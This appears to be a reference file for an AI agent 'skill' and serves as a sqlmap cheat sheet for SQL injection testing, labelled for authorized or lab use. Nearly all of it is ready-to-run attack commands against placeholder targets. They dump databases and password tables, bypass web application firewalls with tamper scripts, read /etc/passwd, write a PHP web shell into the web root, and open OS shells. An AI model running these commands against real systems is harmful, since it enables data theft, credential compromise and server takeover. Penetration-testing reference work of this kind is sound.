| name | sqlmap |
| description | Auth/lab ref: automated SQL injection detection and exploitation tool. For testing web applications for SQLi vulnerabilities to enumerate databases, extract data, read/write files, or escalate to OS shell. |
| license | GPL-2.0 |
| compatibility | Linux / macOS / Windows; Python 3.x. |
| metadata | {"author":"AeonDave","version":"1.1"} |
sqlmap
Automated SQL injection detection and exploitation.
Quick Start
sqlmap -u "http://target.com/item?id=1"
sqlmap -r request.txt --batch
sqlmap -u "http://target.com/page" --cookie="session=abc123" --data="id=1"
Core Flags
| Flag | Purpose |
|---|
-u <url> | Target URL with parameter(s) |
-r <file> | Load HTTP request from file (Burp capture) |
-m <file> | Test multiple targets from file |
--data <data> | POST data string |
--forms | Parse and test forms from the target page |
--cookie <str> | Cookie string |
-p <param> | Test specific parameter |
--dbms <type> | Force backend DBMS (mysql/mssql/postgres/oracle) |
--level <1-5> | Test depth (default 1; 5 = headers, referer) |
--risk <1-3> | Payload risk (default 1; 3 = heavy UPDATE/DELETE payloads) |
--technique <T> | Injection techniques: B E U S T Q (see below) |
--threads <n> | Concurrent requests (default 1) |
--delay <n> | Delay between requests |
--timeout <n> | Request timeout |
--retries <n> | Retry failed requests |
--proxy <url> | HTTP/SOCKS5 proxy |
--ignore-proxy | Ignore configured proxy settings |
--tor | Use Tor (requires tor + proxychains) |
--batch | Never ask for user input (auto yes) |
--random-agent | Use random User-Agent |
--headers <str> | Extra HTTP headers |
--auth-type <type> | Basic/Digest/NTLM/PKI |
--auth-cred <u:p> | Auth credentials |
--ignore-redirects | Don't follow redirects |
--flush-session | Clear cached scan state for retesting |
-v <0-6> | Verbosity level |
Level vs Risk (Critical Distinction)
--level (1-5) — where to inject:
- 1: GET/POST params only
- 2: + Cookie values
- 3: + User-Agent and Referer headers
- 5: + Host and all other locations
--risk (1-3) — how dangerous the payloads are:
- 1: Safe (boolean, UNION, error-based)
- 2: + Heavy time-based blind queries
- 3: + OR-based (can modify data — dangerous on production)
| Scenario | Flags |
|---|
| CTF / test lab | --level=5 --risk=3 --batch |
| Production pentest | --level=2 --risk=1 |
| Known injectable param | --level=1 --risk=1 --technique=U |
| Test headers too | --level=3 --risk=2 |
Injection Techniques
| Code | Technique | Speed | Notes |
|---|
B | Boolean-based blind | Medium | High request count, reliable |
E | Error-based | Fast | Only when DB errors visible |
U | UNION query | Fast | Fastest when applicable |
S | Stacked queries | Variable | Needs multi-statement support |
T | Time-based blind | Slow | Last resort |
Q | Out-of-band (DNS) | Variable | Requires --dns-domain |
sqlmap -u "http://target.com/page?id=1" --technique=EU
sqlmap -u "http://target.com/page?id=1" --technique=T --time-sec=3
sqlmap -r req.txt --technique=Q --dns-domain=your.burpcollaborator.net --dbs
Enumeration Commands
sqlmap -u "http://target.com/page?id=1" --dbs
sqlmap -u "http://target.com/page?id=1" -D target_db --tables
sqlmap -u "http://target.com/page?id=1" -D target_db -T users --columns
sqlmap -u "http://target.com/page?id=1" -D target_db -T users --dump
sqlmap -u "http://target.com/page?id=1" -D target_db -T users -C "username,password" --dump
sqlmap -u "http://target.com/page?id=1" --dump-all --exclude-sysdbs
sqlmap -u "http://target.com/page?id=1" --current-db --current-user --hostname
sqlmap -u "http://target.com/page?id=1" --is-dba
sqlmap -u "http://target.com/page?id=1" --users --passwords
WAF Bypass (Tamper Scripts)
sqlmap --list-tampers
sqlmap -u "http://target.com/page?id=1" --tamper=space2comment
sqlmap -u "http://target.com/page?id=1" \
--tamper="space2comment,between,randomcase"
| Tamper | Effect |
|---|
space2comment | Replace spaces with /**/ |
between | Replace > with NOT BETWEEN 0 AND |
randomcase | Random case on keywords (SeLeCt) |
charencode | URL-encode characters |
charunicodeencode | Unicode-encode characters |
base64encode | Base64-encode payload |
equaltolike | Replace = with LIKE |
greatest | Replace > with GREATEST() |
hexencode | Hex-encode strings |
modsecurityversioned | Commented versioned MySQL queries |
percentage | Insert % between characters (IIS) |
versionedkeywords | Versioned MySQL comments around keywords |
apostrophemask | Replace ' with UTF-8 fullwidth apostrophe |
bluecoat | Replace space with random whitespace after SQL keyword |
File Read / Write
sqlmap -u "http://target.com/page?id=1" --file-read="/etc/passwd"
sqlmap -u "http://target.com/page?id=1" --file-read="C:/Windows/win.ini"
sqlmap -u "http://target.com/page?id=1" \
--file-write="shell.php" \
--file-dest="/var/www/html/shell.php"
OS Interaction (Escalation)
sqlmap -u "http://target.com/page?id=1" --os-shell
sqlmap -u "http://target.com/page?id=1" --os-cmd="id"
sqlmap -u "http://target.com/page?id=1" --sql-shell
sqlmap -u "http://target.com/page?id=1" --os-pwn
Common Workflows
sqlmap -r request.txt --batch --level=3 --risk=2 --dbs
sqlmap -u "http://target.com/item?id=1" -p id --batch --level=2 --risk=1 --threads=5 --timeout=10 --retries=1 --random-agent
sqlmap -u "http://target.com/login" \
--data="username=admin&password=test" \
-p username --batch --dbs
sqlmap -u "http://target.com/dashboard" \
--cookie="user_id=5; session=abc" \
-p user_id --batch
sqlmap -u "http://target.com/api/search" \
--data='{"id": "1"}' \
--headers="Content-Type: application/json" \
-p id --batch
sqlmap -u "http://target.com/page" \
--level=3 --batch
sqlmap -r request.txt --proxy=http://127.0.0.1:8080 --batch
sqlmap -u "http://target.com/register" \
--data="username=INJECTHERE&email=x@x.com" \
--second-url="http://target.com/profile" \
--second-req=profile_request.txt
Advanced Injection
sqlmap -r req.txt --csrf-token="csrf_token" --csrf-url="http://target.com/login"
sqlmap -r req.txt --eval="import hashlib; token=hashlib.md5(id.encode()).hexdigest()"
sqlmap -u "http://target.com/" --crawl=3 --forms --batch
sqlmap -d "mysql://root:password@192.168.1.100/testdb" --dump-all
sqlmap -u "http://target.com/users/1*/profile" --batch
sqlmap -r req.txt --headers="X-Forwarded-For: 127.0.0.1*"
Speed Optimization
sqlmap -r request.txt --batch \
--dbms=mysql \
--technique=EU \
--threads=10 \
--level=1 --risk=1
sqlmap -r request.txt -o --batch
sqlmap -r request.txt --batch --technique=EUS
sqlmap -r request.txt --time-sec=2
sqlmap -r request.txt --test-filter="MySQL UNION"
sqlmap -r request.txt --smart
sqlmap -r request.txt --predict-output
Cleanup
sqlmap --purge
sqlmap -r req.txt --fresh-queries
sqlmap -r req.txt --flush-session
Resources
| File | When to load |
|---|
references/tamper-guide.md | Tamper scripts reference, WAF bypass strategies, advanced injection |